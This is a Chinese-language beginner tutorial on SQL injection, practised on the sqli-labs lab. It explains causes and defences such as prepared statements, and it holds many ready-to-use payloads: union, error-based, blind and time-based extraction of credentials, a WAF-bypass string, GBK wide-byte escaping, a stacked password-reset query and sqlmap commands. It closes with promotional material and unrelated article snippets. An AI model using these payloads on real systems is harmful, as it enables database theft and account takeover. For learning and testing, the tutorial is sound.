sql注入详解,零基础入门到精通,看这一篇就够了!

sql注入详解 目录前言? ?一、漏洞原因分析二、漏洞危害三、sql注入防范四、如何挖掘sql注入漏洞五、常见的注入手法联合查询(union注入)报错注入基于布尔的盲注基于时间的盲注HTTP头注入宽字节注入堆叠查询二阶注入六、sql注入getshell的几种方式结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。SQL注入(SQL Injection)是一种常见的Web安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没 阅读详情

前言

SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)

即:注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句

一、漏洞原因分析

    我们都知道web分为前端和后端,前端负责数据显示,后端负责处理来自前端的请求并提供前端展示的资源,即然有资源,那么就需要有存储资源的地方——如mysql数据库。那服务器如何对数据获取了?就需要使用SQL语句这一语法结构进行查询获取。SQL语句通过特有的语法对数据进行查询。

这里使用sqli-labs作为sql注入练习靶场 —> sqli-labs安装。我们可以举一个例子,以sqli-labs第一关为例,按要求在url后面加上?id=1,显示如下

当我们改变id的值为2时,页面发生了改变。说明它将我们输入的数据代入到了数据中进行查询,页面根据输入数据的不同展示的内容也不同。

ps:url中?通常用于表示传递参数,id代表变量参数,2代表参数的值

为了更清楚的看清sql语句的执行与变化过程,我们先修改源代码,打开Less-1/index.php,在源码中添加如下语句将执行的sql语句打印出来,方便我们查看

echo '执行的sql语句为:'.$sql;
echo '<br/>';
echo '<br/>';

访问页面如下,打印出了执行的sql语句

在1后面加上单引号, ?id=1’,页面显示有语法错误,说靠近 ‘1’’ limit 0,1有语法错误,我们输入的数据 1’ 被完整的带入到了SQL语句中,即直接与原有的sql语句进行了拼接。然后执行的sql语句变成了

$sql=“SELECT * FROM users WHERE id=’ 1 ’ ’ LIMIT 0,1”;

我们输入的那个单引号和前面的单引号产生了闭合,导致原有后面的那个单引号变成了多余,而sql语法中引号是必须成对出现否则就会报错,这也就解释了为什么输入1’后程序就报错的原因。

既然我们输入什么程序就拼接什么,那我们就构造sql语句将左单引号进行闭合就好了。我们在1后面加上单引号,与左边的引号构成闭合,再接着拼接构造好的SQL语句并注释掉后边的语句 ’ 1 ’ and 1=1 – ’ LIMIT 0,1" 程序就不会报错,就可以查询我们想要查询的数据,这就是sql注入。

二、漏洞危害

SQL注入漏洞对于数据安全的影响:

  • **数据库信息泄漏:**数据库中存放的用户的隐私信息的泄露。
  • **网页篡改:**通过操作数据库对特定网页进行篡改。
  • **网站被挂马,传播恶意软件:**修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • **数据库被恶意操作:**数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • **服务器被远程控制,被安装后门:**经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统。

三、sql注入防范

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:

代码层面:

  1. 对输入进行严格的转义和过滤
  2. 使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
  3. PDO预处理 (Java、PHP防范推荐方法:)

⛔没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入

网络层面:

  1. 通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
  2. 云端防护(如阿里云盾)

四、如何挖掘sql注入漏洞

1. 注入可能存在的地方

竟然是sql注入,那么这个地方肯定是与数据库有数据交互的,所以我们可以优先观察那种页面存在传值或者查询的地方。比如url中的GET型传参,如?id=1

如我们看见这种就可以考虑

或者是搜索框,前端将用户输入的数据代入到数据库中进行查询,这种以POST方法进行发送数据。如下这种地方

或者是HTTP请求头部字段如Cookie值,下面会讲到。

2. 漏洞探测

此时需要我们用burp截取查询的数据包,找到传参的变量然后在其后面加上单引号、双引号等如下payload进行测试

#判断如下闭合方式是否会报错,会报错则肯定存在注入
=test'                         
=test"                         

#若不报错则判断是否存在布尔盲注,如果页面会有不同的显示在可能存在漏洞
=test' and -1=-1 or '
=test' and -1=-2 or '  
         
=test" and -1=-1 or "
=test" and -1=-2 or "

ps:目前网站的sql注入基本都能通过漏洞扫描器xray检测出来 ——> xray与burp联动,但是这样动静太大(公网上),如果在内网中可以直接挂上xray进行检测。所以在公网时可以手动检测是否存在漏洞,然后在存在漏洞的地方打上*,接着复制整个请求包在txt文档中用sqlmap -r进行注入 ——> sqlmap -r

补充:

get型

1. 进行url编码

如果是在burp中测试payload需要先进行url编码,浏览器中则不需要

不进行编码的话,也可以用+代替空格,#代替–+ 。 %23代表#,也是注释符

post型

如果是post型的话,我们可以用上面的方法进行编码,或者使用+代替空格,也可以不使用,直接像在浏览器中探测一样

五、常见的注入手法

SQL 注入漏洞根据不同的标准,有不同的分类。如按照参数类型可分为两种:数字型和字符型。

参数类型分类

1. 数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

如 www.text.com/text.php?id=3 对应的sql语句为 select * from table where id=3

2. 字符型:字符型注入正好相反

当输入的参数被当做字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过引号来闭合的。即看参数是否被引号包裹

例如数字型语句:select * from table where id =3

则字符型如下:select * from table where name=’admin’

注入手法分类

@ UNION query SQL injection(联合查询注入)
@ Error-based SQL injection(错型注入)
@ Boolean-based blind SQL injection(基于布尔的盲注)
@ Time-based blind SQL injection(基于时间的盲注)
@ Stacked queries SQL injection(可多语句查询注入)

为了练习sql注入,我们使用sqli-labs靶场进行sql注入学习,网上有很多安装教程这里就不演示了。建议学这个之前先学习mysql语法,不然理解不了sql语句

联合查询(union注入)

联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化

漏洞靶场实战,传送门 -》webug 4.0 第一关 显错注入

我们以sqli-labs第一关为例来学习联合查询。如下,要求我们传入一个id值过去。传参?id=1,当我们输入id=1和id=2时,页面中name值和password的值是不一样的,说明此时我们输入的数据和数据库有交互并且将数据显示在屏幕上了

1. 注入点判断

开始判断是否存在注入,输入?id=1’,页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞

继续判断,输入 ?id=1’ and 1=1 --+ 页面正常显示 传送门 -》关于sql注入中的 --+

?id=1’ and 1=2 --+ 页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号

页面会根据输入的数据变化而变化,当存在注入点时,优先考虑使用联合注入手法。

2. 判断当前表的字段个数

传送门 -》关于order by

输入order by 3,页面无异常反应

?id=1' order by 3 --+

将3修改为4,此时显示未知的列,说明此时当前表中只有3列

?id=1' order by 4 --+ 

3. 判断显示位

以下为union注入中较为常用的一些函数和环境变量

名称

功能

version()

MySQL 版本

user()

当前数据库用户名

database()

当前数据库名

@@version_compile_os

操作系统版本

@@datadir

数据库路径

接下来测试我们的输入会在屏幕哪个地方进行回显。上面我们判断出来了表中有3列,所以union select的时候就写xx,xx,xx三个数据

需让union select前面的参数查不出来而回显后面的语句,所以id=-1’

?id=-1' union select 1,2,3 --+ 

如下,在name和password值中回显了我们的输入,这时我们就可以在回显2或3的放置放入测试语句。

4. 爆当前数据库名字

?id=-1' union select 1,2,database() --+

获取当前数据库名为“security”

5. 爆当前数据库中的表

#直接套用语句
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

显示当前数据库中存在4个表“emails,referers,uagents,users”

6. 爆表中的字段

我们这里选择users表进行进一步的获取表中的字段信息

#只需指定表名即可
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
#或者指定当前数据库名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

获取"users"表中存在3个字段,分别为 “id,username,password”

7. 爆相应字段的所有数据

#只需指定表名和字段名
?id=-1' union select 1,2,group_concat(`id`,':',`username`,':',`password`) from users --+
#字段值不加反引号也可以
?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+

至此,联合查询整个过程结束。注入的时候找到注入点后只需套入语句即可。

报错注入
   报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。  
   报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。

   推荐三种报错注入的方法,直接套用就行。以less-1为例子

1. group by 重复键冲

and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

提交如下,获取数据库名字

?id=1’ and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

2. extractvalue() 函数

?id=1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) --+

提交 ?id=1’ and extractvalue(1,concat(‘^’,(select database()),‘^’)) --+ 获取数据库名字

3. updatexml() 函数

and updatexml(1,concat(‘‘,(需要查询的内容),’’),1)

1. 提交如下,获取数据库名字

?id=1’ and updatexml(1,concat(‘‘,(database()),’’),1) --+

2. 获取当前数据库中表的名字

?id=1’ and updatexml(1,concat(‘^’,(select table_name from information_schema.tables where table_schema=‘security’ ),‘^’),1) --+

这里是说要显示的内容超过一行它不能显示那么多,所以在 table_schema=‘security’ 后加上 limit 0,1,显示第一行(显示第0行的往下一行,不包括第0行)

如果要看第二行则,limit1,1(第一行的往下一行,不包括第一行,即显示第二行),看第三行则limit2,1。以这个方法获取第四个表为users

3. 爆表中的字段

?id=1’ and updatexml(1,concat(‘^’,(select column_name from information_schema.columns where table_name=‘users’ and table_schema=‘security’ limit 0,1 ),‘^’),1) --+

总共爆出的字段为: id , username , password

4. 爆字段中的内容

?id=1’ and updatexml(1,concat(‘^’,(select group_concat(username,“–”,password) from users limit 0,1 ),‘^’),1) --+

三组用户名和密码。

基于布尔的盲注
   布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。以less-8关为例

1. 我们输入正确的id,显示You are in …

我们输入错误的语句如id=1’ ,或者id=-1时,就什么都不显示。这就是布尔盲注,屏幕上能得到信息不多,就是两种状态

源码如下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

	if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
    echo '<font size="5" color="#FFFF00">';
    }

所以,我们构造判断语句,根据页面是否回显证实猜想。一般用到的函数ascii() 、substr() 、length(),exists()、concat()等。

1. 判断数据库类型

  • MySQL数据库表 information_schema.tables
  • access msysobjects
  • SQLServer sysobjects

用下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

//判断是否是 Mysql数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from information_schema.tables) --+
//判断是否是 access数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from msysobjects) --+
//判断是否是 Sqlserver数据库
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from sysobjects) --+

所以当前数据库为mysql数据库

2. 判断当前数据库名

1:判断当前数据库的长度,利用二分法
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+  //不显示任何数据
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+  //正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+  //不显示任何数据
 
  大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符
 
2:判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
//判断数据库的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ //100为ascii表中的十进制,对应字母s
//判断数据库的第二个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
//判断数据库的第三个字符
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
...........
由此可以判断出当前数据库为 security

3. 判断当前库的表名

//猜测当前数据库中是否存在admin表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+

1:判断当前数据库中表的个数
// 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+

2:判断每个表的长度
//判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
//判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+

3:判断每个表的每个字符的ascii值
//判断第一个表的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
//判断第一个表的第二个字符的ascii值               
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
.........
由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断

4. 判断表的字段

  • 判断字段个数
  • 判断每个字段的长度
  • 猜每个字段的字符
//如果已经证实了存在admin表,那么猜测是否存在username字段
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin) 
  
1:判断表中字段的个数
//判断users表中字段个数是否大于5
http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+

2:判断每个字段的长度
//判断第一个字段的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
//判断第二个字段的长度   
http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+

3:判断每个字段名字的ascii值
//判断第一个字段的第一个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
//判断第一个字段的第二个字符的ascii
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
...........

由此可判断出users表中存在 id、username、password 字段

5. 爆字段中的数据

  • 猜字段中数据的长度
  • 猜字段数据的每个字符ascii码 得字符
我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据
 
1: 判断数据的长度
// 判断id字段的第一个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
// 判断id字段的第二个数据的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+

2:判断数据的ascii值
// 判断id字段的第一行数据的第一个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit  0,1),1,1))>100 --+
// 判断id字段的第二行数据的第二个字符的ascii值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
...........

一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。

基于时间的盲注
   也叫延时注入。通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用“绝招”--延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。我们以第9关为例,在id=1后面加单引号或者双引号,页面不会发生任何改变,所以我们考虑绝招延时注入。

1. 延时注入

?id=1' and sleep(5) --+    

如图所示,观察请求的时间线,大概在5秒以上,说明构造的sleep(5) 语句起作用,可以把这个时间线作为sql 注入的判断依据。

2. 获取数据库名字

延时注入与布尔盲注类似,构造方法如下,提交参数

?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+

if(expr1,expr2,expr3) 如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。 传送门-》mysql基础学习

代码的含义就是如果数据库名字的第一个字符的acsii值为115,则进行延时,否则返回0即什么都不返回。

页面显示延时5 秒,说明数据库名字第一个字母的ASCII 值是115,也就是字母s。

  1. 数据库名字第二个字母的判断,
?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+

与盲注类似,后面就是猜数,这就是延时注入

可以绕waf的payload

and(select*from(select+sleep(4))a/**/union/**/select+1)='

HTTP头注入
   常见的sql注入一般是通过请求参数或者表单进行注入,而HTTP头部注入是通过HTTP协议头部字段值进行注入。http头注入常存在于以下地方

产生注入的条件:

- 能够对请求头消息进行修改

- 修改的请求头信息能够带入数据库进行查询

- 数据库没有对输入的请求信息做过滤

1. User-Agent注入

   User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取User-Agent就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。

以sqli-labs less-18关为例,登录用户密码:dumb ,0

1.1 判断注入点:user-agent值后面加上’,引发报错,确定存在sql注入

1.2 采用报错注入函数获取当前数据库名

' and updatexml(1,concat('^',(database()),'^'),1) and '

2. cookie注入

   cookie:服务器端用来记录客户端的状态。由服务端产生,保存在浏览器中。传送门-》[cookie](https://blog.youkuaiyun.com/qq_44159028/article/details/114359205?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161646553116780266210214%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=161646553116780266210214&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v1~rank_blog_v1-1-114359205.pc_v1_rank_blog_v1&utm_term=cookie "cookie") 。以sqli-labs less-20关为例,登录后

2.1 首先判断注入点,加 ’ 单引号报错

2.2 采用报错注入函数获取当前数据库名

' and updatexml(1,concat('^',(database()),'^'),1) and '

3. Referer注入

   **Referer:**是HTTP header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

以19关为例

1. 判断输入点,加单引号引发报错

2. 使用报错注入函数:

‘ and updatexml(1,concat(0x7e,(database()),0x7e),0) and '

方法都是一样的。

4. X-Forwarded-For 注入

   **X-Forwarded-For(XFF):**用来识别客户端最原始的ip地址。详见,传送门 -》[X-Forwarded-For sql注入](https://blog.youkuaiyun.com/qq_44159028/article/details/112528864?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161646592716780261962393%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=161646592716780261962393&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v1~rank_blog_v1-1-112528864.pc_v1_rank_blog_v1&utm_term=X-for "X-Forwarded-For sql注入")

宽字节注入

宽字节案例引入

    宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。 使用?id=1' 进行测试的时候,发现提交的单引号会被转义\[\\'\]。此时,转义后的单引号会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。

   接着我们查看这关的源码,发现传入的id经过addslashes转移函数的处理,所有的单引号双引号字符都会被添加转义字符。接着在带入到数据库查询前设置了mysql\_query("SET NAMES gbk"),即设定字符集为gbk。漏洞就是由于这个设置导致宽字节注入。

仔细看该函数,其利用正则匹配将 [ /,'," ]这些三个符号都过滤掉了

关于preg_replace的正则用法可详看——> 命令执行与代码执行漏洞 中搜索preg_replace

而我们要绕过这个转义处理,使单引号发挥作用不再被转义,有两个思路:

  1. 让斜杠(\)失去作用
  2. 让斜杠(\)消失

第一个思路就是借鉴程序员的防范思路,对斜杠(\)转义,使其失去转义单引号的作用,成为普通的内容。第二个思路就是宽字节注入。

关于编码

在理解宽字节注入之前,我们需要先了解编码的有关知识,关于什么是编码,为什么要编码,可以详看 ——> 计算机中的编码问题

  1. 某字符的大小为一个字节时,称其字符为窄字节.
  2. 当某字符的大小为两个字节时,称其字符为宽字节.
  3. 所有英文默认占一个字节,汉字占两个字节
  4. 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等

宽字节注入

宽字节是指多个字节宽度的编码,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。转义函数在对这些编码进行转义时会将转义字符 ‘\’ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。

    由于在数据库查询前使用了GBK多字节编码,即在汉字编码范围内使用两个字节会被编码为一个汉字(前一个ascii码要大于128,才到汉字的范围)。然后mysql服务器会对查询语句进行GBK编码,即下面所说的

   我们在前面加上 %df'  ,转义函数会将%df’改成%df\\’ , 而\\ 就是%5c ,即最后变成了%df%5c',而%df%5c在GBK中这两个字节对应着一个汉字 “運” ,就是说 \\ 已经失去了作用,%df ' ,被认为運' ,成功消除了转义函数的影响。

  • ’ %27
  • \ %5c
  • %df\’ %df%5c’ =》 運’

我们输入 ?id=1%df’,按道理来说将转义符吃掉了,结果应该是 id=’ 運’ ’ ,为什么这里转变成了中文后后面还有一个反斜杠了?那个反斜杠是哪里来的?

其实这个是浏览器显示编码的问题,我们将浏览器编码切换为GB2312即简体中文,如下就正常了。

联合注入如下

GB2312与GBK的不同

gb2312和gbk应该都是宽字节家族的一员。但我们来做个小实验。把源码中set names修改成gb2312

结果就不能注入了,我开始不信,然后再把数据库编码也改成gb2312,也是不成功的。虽然执行的语句还是显示被转换成了中文了,但就是注入不成功

为什么,这归结于gb2312编码的取值范围。它的高位范围是0xA10xF7,低位范围是0xA10xFE,而\是0x5c,是不在低位范围中的。所以,0x5c根本不是gb2312中的编码,所以自然也是不会被吃掉的。

所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有0x5c的编码,就可以进行宽字符注入。

宽字节注入注入方法

1. 黑盒

就是上面所述的,在注入点后面加%df,然后按照正常的注入流程开始注入即可。如果我们需要使用sqlmap进行检测注入的话也需要在注入点后面加%df然后再用sqlmap跑,否则是注入不出来的,如

sqlmap.py -u "http://localhost/sqli-labs-master/Less-32/?id=1%df%27"

2. 白盒

查看mysql是否为GBK编码,且是否使用preg_replace()把单引号转换成\'或自带函数addslashes()进行转义

如果存在上面说的,则存在宽字节注入。

宽字节注入修复

  1. mysql_real_escape_string

听说这个函数能抵御宽字节注入攻击。mysql_real_escape_string — 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集。

‍于是,把addslashes替换成mysql_real_escape_string,来抵御宽字符注入。但是我们发现还是一样注入成功了

为什么,明明我用了mysql_real_escape_string,但却仍然不能抵御宽字符注入?

原因就是,你没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍‍

mysqli_set_charset(connection,charset);

参数描述
connection必需。规定要使用的 MySQL 连接。
charset必需。规定默认字符集。

这样就防止了注入

即先调用mysql_set_charset函数设置连接所使用的字符集为gbk,再调用mysql_real_escape_string来过滤用户输入。

  1. 设置参数,character_set_client=binary

  2. 使用utf-8编码

堆叠查询
   堆叠查询也叫堆叠注入,在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。以sqli-labs第38关为例

执行

id=1';update users set password='123456' where id=1; --+ 

意思就是再更新id=1的用户密码为123456。如下成功执行了更新密码的语句

堆叠查询的局限性

   堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。虽然我们前面提到了堆叠查询可以执行任意的sql语句,但是这种注入方式并不是十分的完美的。在我们的web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。如上面的实例如果我们不输出密码那我们是看不到这个结果的。因此,在读取数据时,我们建议使用union(联合)注入。同时在使用堆叠注入之前,我们也是需要知道一些数据库相关信息的,例如表名,列名等信息

二阶注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,二次注入漏洞更难以被发现,但是它却具有与—次注入攻击漏洞相同的攻击威力。

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。
  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功

总结,二次注入就是由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的sql语句导致被执行。以sqli-labs第24关为例

sqli-labs less-24

1. 如下点击注册用户

这里注册用户名为 admin’#

此时我们查看数据库,注册的用户已经存储进去了,并且admin的密码是DDD

2. 对注册的账号进行登录然后修改密码为ccccc

此时提示密码已经成功修改了

此时我们发现反倒是admin的密码被修改成了ccccc,而我们注册的用户admin’#的密码并没有被修改

漏洞原因

1. 在进行用户注册的允许存在’和#这种特殊字符

2. 在修改密码页面的源码中,发现这里很明显存在注入漏洞

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

当我们登录账号admin’#并修改密码时,这条sql语句就变成了如下这个样子,#把后面的代码都注释掉了,所以修改了用户admin的密码为ccccc

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

题外话

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习路线&学习资源

下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

​

需要高清完整学习路线图,和全套网络安全技术教程的小伙伴!
↓↓↓ 扫描下方图片即可前往获取↓↓↓
在这里插入图片描述

学习资料电子文档

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

​

网络安全源码合集+工具包

​​​​​​

视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,,每个章节都是当前板块的精华浓缩。(全套教程点击领取哈)

​ 优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述

​​ 因篇幅有限,仅展示部分资料,需要扫描下方图片即可前往获取

在这里插入图片描述

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明:

此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

数学建模 种群竞争模型 学习笔记 模型背景 应用场景 种群竞争模型 例如 s1=0.5,则表示对于供养甲的资源来讲,单位数量的乙的消耗为单位数量的甲的0.5倍,即表示乙对于该资源的占有能力是甲的0.5倍(即竞争力弱) 仿真结果及分析 (1)设置自然增长率 r1=r2=1 (2)改变自然增长率 r1=r2=0.3 (3)修改甲和乙的最大容量 n1=10000, n2=100 (4)修改甲和乙的初始数量 x1=10, x... 阅读详情

相关推荐

扩展卡尔曼滤波(EKF)理论讲解与实例(matlab、python和C++代码)

扩展卡尔曼滤波(EKF)理论讲解与实例(matlab、python和C++代码) 文章目录扩展卡尔曼滤波(EKF)理论讲解与实例(matlab、python和C++代码)理论讲解KF和EKF模型对比雅可比矩阵计算计算实例应用实例线性模型CV模型:CA模型非线性模型CTRV模型:CTRV实例(python)small demo抛物线demo飞机高度demoC++实例参考文献 我们上篇提到的卡尔曼滤波是用于线性系统,预测(运动)模型和观测模型是在假设高斯和线性情况下进行的。简单的卡尔曼滤波必须应用在符合高斯分布

O_MMMM_O的博客 10万+

SQL注入详解

